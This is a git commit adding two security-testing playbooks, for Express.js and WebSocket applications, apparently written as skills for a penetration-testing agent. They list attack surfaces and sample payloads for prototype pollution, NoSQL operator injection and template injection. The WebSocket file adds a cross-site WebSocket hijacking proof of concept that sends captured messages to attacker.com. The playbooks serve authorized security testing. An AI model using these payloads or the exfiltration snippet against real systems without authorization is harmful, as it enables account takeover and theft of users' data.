Add Express.js and WebSocket security skills

Fill framework and protocol gaps explicitly listed in the skills README.
This commit is contained in:
Ayush7614 2026-07-04 05:14:12 +05:30
parent 302efedca6
commit 84c27d2189
2 changed files with 393 additions and 0 deletions

View file

@ -0,0 +1,206 @@
---
name: express
description: Security testing playbook for Express.js covering middleware ordering, route auth gaps, prototype pollution, and session/CSRF weaknesses
---
# Express.js
Security testing for Express and common middleware stacks (body-parser, cors, helmet, express-session, passport). Focus on middleware ordering, missing route-level auth, unsafe deserialization of user input into objects, and inconsistent enforcement across routers.
## Attack Surface
**Core Components**
- Middleware stack order: `app.use()` global vs `router.use()` scoped
- Routers: `express.Router()` mounted at prefixes (`/api`, `/admin`, `/v1`)
- Route handlers: `app.get/post/put/delete`, async handlers, error middleware
- Static serving: `express.static`, `sendFile`, custom download handlers
**Common Middleware**
- `body-parser` / `express.json` / `express.urlencoded` / `express.raw`
- `cors`, `helmet`, `compression`, `morgan`
- `express-session`, `cookie-parser`, `passport`, `express-jwt`
- `multer` / `busboy` for uploads
- `express-validator`, `celebrate`, `joi` validation (often partial)
**Data & Templates**
- Template engines: EJS, Pug, Handlebars, Nunjucks
- MongoDB via Mongoose, SQL via Sequelize/Prisma/Knex
- `req.query`, `req.params`, `req.body`, `req.cookies`, `req.headers`
## High-Value Targets
- `/api/*` routers mounted without global auth middleware
- Admin routers at `/admin`, `/internal`, `/management`
- File upload/download routes using `multer`
- Webhook/callback endpoints (`/webhook`, `/callback`, `/notify`)
- Session-based auth without CSRF on state-changing routes
- `process.env` values leaked via error handlers or `/debug` routes
- GraphQL or Socket.io mounted as sub-apps with weaker auth
## Reconnaissance
**Route Discovery**
```
# Common API prefixes
/api /api/v1 /api/v2 /v1 /v2 /graphql /socket.io
# Error-based route hints
GET /api/users/999999
POST /api/admin with {}
```
**Fingerprinting**
```
X-Powered-By: Express
Set-Cookie: connect.sid=...
```
Inspect `package.json` / `node_modules` in white-box scans for: `passport`, `jsonwebtoken`, `express-session`, `cors`, `lodash`, `serialize`, `ejs`.
**Middleware Mapping (white-box)**
Trace `app.use()` order — auth middleware placed after routes it should protect is a common bug. Routers mounted before `express.json()` may parse bodies differently.
## Key Vulnerabilities
### Authentication & Authorization
**Middleware Gaps**
- Global auth on `/api` but `/api/internal` router mounted without guard
- `router.use(auth)` on collection routes but `GET /:id` missing per-object checks
- JWT verified in middleware but `req.user` fields trusted without role re-check on admin routes
**Passport / JWT**
- `passport-jwt` extracts token but strategy doesn't validate `aud`/`iss`
- `secretOrKey` from env with weak/default value
- API keys in query string logged by proxies
### Prototype Pollution
Express apps frequently merge `req.body` / `req.query` into options objects via `lodash.merge`, `Object.assign` loops, or query parsers.
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"role": "admin"}}}
```
See `prototype_pollution` skill for gadget chains and validation. Test every JSON body endpoint and nested query parameters.
### NoSQL Injection (Mongoose)
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "this.password.match(/.*/)"}
```
Operator injection via `req.query.filter` passed directly to `Model.find(req.query)`.
### Server-Side Template Injection
EJS/Pug/Handlebars with user-controlled template names or unescaped output:
```javascript
// Vulnerable patterns
res.render(userInput)
ejs.render(userControlledTemplate)
```
Test `<%= 7*7 %>`, `${7*7}`, `{{7*7}}` depending on engine.
### CSRF
Express has no built-in CSRF protection.
- `express-session` + cookie auth on POST/PUT/DELETE without `csurf` or double-submit token
- `SameSite=None` cookies without proper origin checks
- CORS `credentials: true` with reflected origins
### CORS Misconfiguration
```javascript
// Dangerous patterns
cors({ origin: true, credentials: true }) // reflects any origin
cors({ origin: '*' }) with credentials
```
Test cross-origin requests with victim cookies to sensitive endpoints.
### Path Traversal & LFI
```javascript
res.sendFile(req.query.path)
res.download('../' + req.params.file)
express.static with symlink following
```
### SSRF
`axios`/`node-fetch`/`request` fetching user-supplied URLs in webhooks, preview, import features. Test loopback, metadata IPs, redirect chains.
### File Upload (Multer)
- Extension/MIME checked client-side only
- `destination` callback using unsanitized `file.originalname`
- Uploaded files served from `/uploads` with `Content-Disposition: inline`
### Rate Limiting Bypass
- `express-rate-limit` applied globally but skipped on `/api/login` brute-force paths
- `X-Forwarded-For` spoofing when `trust proxy` enabled without network boundary
### Error & Information Disclosure
- Stack traces in production (`NODE_ENV` not `production`)
- Verbose 404 messages revealing route existence
- `express-status-monitor`, `/metrics` exposed without auth
## Bypass Techniques
- Content-Type switching: `application/json` vs `application/x-www-form-urlencoded` hitting different parsers
- HTTP method override headers where proxies honor `X-HTTP-Method-Override`
- Trailing slash and case variants: `/API/users` vs `/api/users`
- Parameter pollution: duplicate keys in query and body
- Race conditions on session/token issuance (parallel login + privilege change)
## Testing Methodology
1. **Map routers** — Enumerate mounted paths, versioned APIs, static mounts
2. **Auth matrix** — Unauth/user/admin for each route and HTTP method
3. **Middleware order** — Confirm auth runs before handlers on every mount point
4. **Object ownership** — Swap IDs across two sessions on all CRUD endpoints
5. **Prototype pollution probe** — Canary key on all JSON-merge endpoints
6. **CSRF** — Cross-origin POST with session cookie on state-changing routes
7. **Sub-app parity** — Same auth on Socket.io/GraphQL mounts as REST
## Validation
1. Side-by-side requests showing missing auth or IDOR (owner vs non-owner)
2. CSRF PoC for session-authenticated state change
3. Prototype pollution behavioral proof with unique canary property
4. Template/NoSQL/SSRF with deterministic oracle (output, OAST, timing)
5. Document exact middleware/router where enforcement failed
## False Positives
- `router.use(authenticate)` applied before all child routes consistently
- `Object.create(null)` used for options merging throughout codebase
- CSRF token validated on all unsafe session-authenticated methods
- CORS origin whitelist is explicit array, not reflection
- `helmet` + `noSniff` + `Content-Disposition: attachment` on uploads
## Impact
- Full account takeover via session/JWT weaknesses or prototype pollution
- Data breach via NoSQL injection or IDOR across API routers
- RCE via SSTI or deserialization (`node-serialize`, unsafe `eval`)
- Admin access via unprotected `/admin` router or role field pollution
## Pro Tips
1. Check every `express.Router()` mount — auth middleware on parent `app` may not cover sibling routers
2. `app.use('/api', router)` vs `app.use(router)` — scope mistakes are frequent
3. Async error handlers without `express-async-errors` may skip error middleware silently
4. Test `app._router.stack` in local dev to dump registered routes (white-box)
5. Combine with `prototype_pollution` and `insecure_deserialization` skills for Node chains
## Summary
Express security is middleware-order dependent. Auth must wrap every router and transport; user input must never merge unsafely into object prototypes. Test mounted sub-apps and async routes with the same rigor as top-level handlers.

View file

@ -0,0 +1,187 @@
---
name: websocket
description: WebSocket security testing covering handshake auth gaps, origin validation, subscription IDOR, and message-level authorization failures
---
# WebSocket
WebSocket endpoints often have weaker authentication and authorization than their HTTP equivalents. Handshake checks may pass once, then per-message enforcement is missing — enabling subscription hijacking, cross-user data leaks, and CSWSH (Cross-Site WebSocket Hijacking).
## Attack Surface
**Protocols & Libraries**
- Raw WebSocket (RFC 6455)
- Socket.io (HTTP long-polling fallback, namespaces, rooms)
- `ws` (Node), Django Channels, FastAPI/Starlette, NestJS `@WebSocketGateway`
- GraphQL subscriptions (`graphql-ws`, `graphql-transport-ws`)
**Handshake**
- Upgrade request: `GET` with `Connection: Upgrade`, `Upgrade: websocket`
- `Sec-WebSocket-Key` / `Sec-WebSocket-Version`
- `Origin`, `Cookie`, `Authorization` headers at connect time
- Subprotocol negotiation: `Sec-WebSocket-Protocol`
**Message Patterns**
- JSON RPC-style: `{action, type, event, channel, room, topic, payload}`
- Pub/sub: subscribe/unsubscribe to channels by ID or name
- Heartbeat/ping-pong, binary frames, fragmented messages
## Reconnaissance
**Endpoint Discovery**
```
/ws /websocket /socket /socket.io /sockjs
/ws/chat /ws/notifications /realtime /live
/engine.io (Socket.io transport)
```
**Browser DevTools**
- Network tab → filter WS → inspect frames, sent headers at handshake
- Note cookies and `Authorization` sent (or absent) on upgrade
**Socket.io Fingerprint**
```
GET /socket.io/?EIO=4&transport=polling
```
Response reveals version, namespaces, session IDs.
**Message Enumeration**
Capture legitimate client traffic; map event names (`join`, `subscribe`, `message`, `admin`, `broadcast`). Fuzz `type`/`action` fields with admin/debug event names from JS bundles.
## Key Vulnerabilities
### Authentication Gaps
**Missing Handshake Auth**
- Server accepts connections without `Authorization` or session cookie
- Token in query string only (`wss://host/ws?token=`) — leaks via Referer/logs
- Auth checked on HTTP site but not on parallel WS endpoint
**One-Time Auth Only**
- Token validated at connect; no per-message re-validation after logout/revocation
- Role change on HTTP side not reflected in open WS session
### Origin Validation (CSWSH)
Cross-Site WebSocket Hijacking: victim browser opens WS to target with victim's cookies because server doesn't validate `Origin`.
**Test:**
```html
<script>
ws = new WebSocket("wss://target.com/ws");
ws.onmessage = m => fetch("https://attacker.com/?"+btoa(m.data));
</script>
```
- Missing or wildcard `Origin` check on handshake
- `Origin: null` accepted (sandboxed iframe contexts)
- Check `Host` header poisoning on WS upgrade
### Authorization / IDOR
**Channel/Room Subscription**
```json
{"action":"subscribe","channel":"user.123.notifications"}
{"event":"join","room":"admin-dashboard"}
{"type":"listen","topic":"org/456/billing"}
```
Swap IDs to access other users' channels. Test horizontal (peer user) and vertical (admin) topics.
**Message-Level IDOR**
```json
{"action":"send","to":"victim_user_id","body":"phishing"}
{"action":"read","conversationId":"foreign_uuid"}
```
Server routes messages by client-supplied destination without server-side ownership check.
### Injection & Logic Flaws
**Server-Side**
- JSON fields passed to SQL/NoSQL/template engines without sanitization
- Command events triggering server actions (`exec`, `eval`, `system`) on user input
- Broadcast to all connected clients without intent (message fan-out abuse)
**Client-Side**
- WS messages inserted into DOM without encoding → stored/reflected XSS via chat
- `innerHTML` updates from `onmessage` handlers
### Socket.io Specific
- Namespace `/admin` reachable without auth while default `/` is public
- Room join without membership check: `socket.join(attacker_controlled_room)` then listen
- Admin flag in handshake cookie not re-checked on `socket.on('admin_action')`
- Polling transport CSRF: POST to `/socket.io/` with session cookie
### GraphQL Subscriptions
- Subscription resolver lacks same auth as query resolver
- `subscription { userData(userId: "OTHER") }` IDOR via variables
- Introspection over WS revealing subscription schema
### Denial of Service
- No message size/rate limits → large frame floods
- Ping/pong abuse, slow read attacks
- Unlimited subscriptions per connection
## Advanced Techniques
**Handshake Smuggling Context**
- WS upgrade through CDN/proxy with different auth than direct origin
- ALB/Cloudflare WebSocket settings exposing internal paths
**Token Replay**
- Capture WS `Authorization` header from one client; replay from another IP
- Subprotocol token passed in `Sec-WebSocket-Protocol` — often logged
**Parallel Transport Testing**
- Same operation via HTTP API vs WS — compare auth requirements
- REST blocked but WS `delete_user` event succeeds
## Testing Methodology
1. **Capture baseline** — Connect as legitimate user; record handshake headers and message schema
2. **Unauthenticated connect** — Omit cookies/tokens; attempt subscribe/send
3. **Origin fuzz**`Origin: https://evil.com`, `null`, missing
4. **IDOR matrix** — Swap user/org/channel IDs in subscribe and message events
5. **Privilege escalation** — User token on admin channels/events
6. **Cross-transport** — Compare HTTP vs WS auth for equivalent operations
7. **Post-logout** — Revoke session on HTTP; verify WS still accepts messages
## Validation
1. Demonstrate cross-user data read or write via WS (subscription IDOR or message routing)
2. CSWSH PoC: cross-origin page receives victim WS data using victim cookies
3. Show unauthenticated or post-logout access to protected channel/action
4. Document event name, payload, and missing server-side check
5. Confirm HTTP equivalent correctly blocks the same unauthorized action
## False Positives
- Origin checked against explicit allowlist on every handshake
- Per-message auth re-validates session/token and object ownership
- Channel names are server-assigned opaque tokens, not guessable user IDs
- WS requires non-cookie token not sent automatically by browser (mitigates CSWSH)
- Connection rejected after HTTP logout via server-side session invalidation broadcast
## Impact
- Real-time eavesdropping on notifications, chat, trading, admin dashboards
- Cross-user message injection and impersonation
- CSWSH session riding for live account manipulation
- Privilege escalation to admin channels without HTTP-side authorization
## Pro Tips
1. Always test WS with and without cookies — many apps only protect HTTP
2. Map event names from minified JS; look for `emit("`, `.on("`, `subscribe(`
3. Socket.io: test each namespace independently — auth is per-namespace
4. After IDOR on subscribe, wait for server-pushed events (not just request/response)
5. Pair with `idor`, `csrf`, and framework skills (nestjs, fastapi, django channels)
## Summary
WebSocket security requires handshake auth, strict Origin validation, and per-message authorization — not just connect-time checks. Treat every subscribe/send event like an HTTP endpoint with its own authz test.